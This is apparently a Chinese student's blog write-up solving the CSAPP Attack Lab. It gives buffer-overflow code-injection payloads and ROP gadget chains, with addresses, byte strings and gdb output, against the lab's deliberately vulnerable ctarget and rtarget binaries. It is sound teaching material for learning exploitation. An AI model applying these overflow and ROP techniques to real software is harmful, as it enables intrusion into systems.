这是 CSAPP LaB 记录的第三弹,两天完成 Attack Lab。
也是隔了一个月才开 Attack Lab,太懒了…
资料见 https://csapp.cs.cmu.edu/3e/labs.html 里的 https://csapp.cs.cmu.edu/3e/attacklab.pdf,下载地址 https://csapp.cs.cmu.edu/3e/target1.tar
参考过 https://www.wdxtub.com/blog/csapp/thick-csapp-lab-3
所有的注入都源于这个 getbuf 函数:
1 | 00000000004017a8 <getbuf>: |
翻译成 C 代码:
1 | unsigned getbuf() { |
test 函数调用了 getbuf:
1 | 0000000000401968 <test>: |
1 | void test() |
phase1
需要找到 touch1 函数的地址,并让 getbuf 的 ret 指令指向它。根据 gdb 调试:
1 | 00000000004017c0 <touch1>: |
1 | void touch1() |
写入以下到 exploit.txt:
1 | 00 00 00 00 00 00 00 00 00 00 |
PASS!
1 | ❯ gdb --args ./ctarget -q |
可以看到 0x5561dca0 之前是 0x0000000000401976,现在变成了 0x00000000004017c0,成功让 ret 跳转到了 touch1。
phase2
既然要调用 touch2 函数,需要知道 touch2 的地址,以及 getbuf 函数中缓冲区的地址(给 ret 指令用)。
1 | 00000000004017ec <touch2>: |
1 | void touch2(unsigned val) |
得到 touch2 的地址是 0x4017ec。
1 | ❯ gdb --args ./ctarget -q |
得到缓冲区的地址是 0x5561dc78。
编写注入代码:
1 | movq $0x59b997fa, %rdi # 将 cookie 存入第一个参数寄存器 |
编译 asm文件:
1 | ❯ gcc -c solve2.s |
获取机器码:48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3
1 | ❯ objdump -d solve2.o |
写入以下到 exploit.txt(记得删掉注释):
1 | // 调用 touch2 |
PASS!
1 | ❯ cat exploit.txt | ./hex2raw | ./ctarget -q |
phase3
1 | 000000000040184c <hexmatch>: |
1 | /* Compare string to hex represention of unsigned value */ |
需要和 level2 一样利用缓冲区溢出注入代码调用 touch3,touch3 还会调用 hexmatch,将传入 touch3 的第一个参数作为 hexmatch 的第二个参数传入(hexmatch 的第一个参数是程序里面存着的 cookie 值 0x59b997fa)。hexmatch 调用 strncmp 比较前 9 个字节是否相等(因为还有 \0 一字节作为结束符),只有完全匹配才会返回 1,否则返回 0。
其中可以发现 hexmatch 申请了 128 字节的栈空间 add $0xffffffffffffff80, %rsp,然后生成一个随机偏移量获得一个栈空间内的地址,调用 sprintf 将第一个参数以十六进制字符串的形式写入这个地址,最后和 touch3 传入的参数进行比较。
由于栈帧是由高地址往低地址生长的,地址由高到低内存分布是(注入前):
testgetbuf0x28 bytes
而注入时,getbuf ret 之前将栈帧释放了,所以 hexmatch 申请的栈空间是在 test 之后,但是覆盖在 getbuf 的栈空间上的:
testhexmatch0x80 bytes
sprintf 随机写入 9 字节的数据有可能抽中原来的 getbuf 栈空间覆盖掉,各种 push 也会修改 getbuf 栈空间的内容,所以只能将 cookie 存储在 test 的栈帧里面。
可以直接接在 touch3 的跳转地址后面就是 test 的栈帧了:
如何计算 cookie 的地址:getbuf 的栈顶地址是 0x5561dc78,getbuf 申请了 0x28 字节的栈空间,还有 0x8 的返回地址,所以 getbuf 栈帧的底部是 0x5561dc78 + 0x28 + 0x8 = 0x5561dca8。
1 | movq $0x5561dca8, %rdi # 这里的地址指向 cookie 存储的位置,test 的栈帧 |
objdump 获取机器码:
1 | 0000000000000000 <.text>: |
仿照 level2 构造缓冲区:
1 | // 调用 touch3 |
删掉注释写入 exploit.txt,PASS!
1 | ❯ cat exploit.txt | ./hex2raw | ./ctarget -q |
phase4
phase4 要用 ROP 的方式完成 level2。
rtarget 相比 ctarget 多了这些 fram:
1 |
|
一开始想直接 push %rdi; ret 跳转到 touch2,但是 fram 里没有 5f c3,只能 push %rax; ret,然后 movq %rax, %rdi; ret,所以需要两个 gadget。
90是nop指令,可以用来填充。
push %rdi; ret 是 58 c3,movq %rax, %rdi; ret 是 48 89 c7 c3。
找到:
1 | 00000000004019a7 <addval_219>: |
所以答案是:
1 | 00 00 00 00 00 00 00 00 |
注意,写进栈里面应该是这样的(按照箭头的顺序从低地址向高地址执行):
1 | ec 17 40 00 00 00 00 00 / \ |
我觉得很容易混淆,要注意在 getbuf ret 之前,0x28 缓冲区就已经被释放了,栈顶在 ab 19 40 00 00 00 00 00 // push %rdi; ret 这一行,ret 的时候又弹出该行,来到 fa 97 b9 59 00 00 00 00 // 0x59b997fa 的 ASCII 表示,然后 push %rdi; ret 将 0x59b997fa 压入栈顶,接着 movq %rax, %rdi; ret 将 0x59b997fa 传入 touch2,最后跳转到 touch2 的入口地址。
PASS!
1 | ❯ cat exploit.txt| ./hex2raw| ./rtarget -q |
phase5
和 phase3 一样要传入 cookie,调用 touch3,但是要用 ROP 的方式。
先转为 ASCII 0x45374fee -> 34 35 33 37 34 66 65 65
lea (%rdi,%rsi,1),%rax -> 48 8d 04 37 c3,%rax = %rdi + %rsi
1 | 00000000004019d6 <add_xy>: |
popq %rax; ret -> 58 c3
1 | 00000000004019ca <getval_280>: |
首先我们需要得到 cookie 的位置:cookie_addr = %rsp + offset,这个要利用 lea (%rdi,%rsi,1),%rax,所以需要先将 %rsp 和 offset 分别传入 %rdi 和 %rsi。
要将 %rsp 传入 %rdi,试着查找以下的 movq S, D 指令:
可以发现 movq %rsp, %rdi 为 48 89 e7,但是 fram 里面没有,所以只能如下走弯路
-
movq %rsp, %rax; ret->48 89 e0 c31
2
30000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3 ret -
movq %rax, %rdi; ret->48 89 c7 c31
2
300000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 ret
offset 必须要找 popq 此类指令:
最理想下是直接 popq %rsi,但是 fram 里没有。
参考资料里面提示 movl 可以移动 4 字节的值,所以可以试着先将 offset popq 到别的寄存器,然后再辗转移动到 %rsi。
movl 有以下对照表:
题目中提示用到八个 gadget,已经用掉两个处理 %rsp -> %rdi,popq 算一个,前面的 lea 算一个,lea 的结果在 %rax,而 touch3 需要的参数在 %rsi,还需要一个 movq %rax, %rsi; ret 的 gadget,所以可以得出 popq 之后会辗转调用三次 movl。
题目还提示,90 是 nop 指令,可以当作无效指令用来填充,以及以下的这些也可以填充:
手动寻找有点艰辛,让 Gemini 写个脚本来遍历。
Python 脚本
1 | import re |
找到 16 种组合。
运行结果
1 | 找到 16 条纯净路径。 |
但实际上只有 popq %rax; ret -> movl %eax, %edx; ret -> movl %edx, %ecx; ret -> movl %ecx, %esi; ret 这一条路径是可行的,每个指令有两种 Gadget 可选。
选择第一个解法:
-
popq, %rax; ret->58 90 c31
2
300000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 ret -
movl %eax, %edx; ret->89 c2 90 c31
2
300000000004019db <getval_481>:
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax
4019e0: c3 ret -
movl %edx, %ecx; ret->89 d1 c31
2
30000000000401a33 <getval_159>:
401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax
401a38: c3 ret -
movl %ecx, %esi; ret->89 ce c31
2
30000000000401a11 <addval_436>:
401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax
401a17: c3 ret
有以下 Gadget 要执行:
-
48 89 e0 c3->movq %rsp, %rax; ret-> 0x401a06 -
48 89 c7 c3->movq %rax, %rdi; ret-> 0x4019c5 -
58 90 c3->popq %rax; ret-> 0x4019ab -
89 c2 90 c3->movl %eax, %edx; ret-> 0x4019dd -
89 d1 38 c9 c3->movl %edx, %ecx; ret-> 0x401a34 -
89 ce 90 90 c3->movl %ecx, %esi; ret-> 0x401a13 -
48 8d 04 37 c3->lea (%rdi, %rsi, 1), %rax; ret-> 0x4019d6 -
48 89 c7 c3->movq %rax, %rdi; ret-> 0x4019c5
应该将 cookie 放在 0x4019c5 的下一行,内存布局如下:
1 | 35 |
综上所述,我们可以开始构造输入:
1 | 00 00 00 00 00 00 00 00 00 00 |
PASS!
1 | ❯ cat exploit.txt| ./hex2raw| ./rtarget -q |
Conclusion
非常有趣,加深对栈帧的理解,感觉 Bomb Lab 做完了之后也忘的差不多了,理解也不充分。
那么什么时候忘记 Attack Lab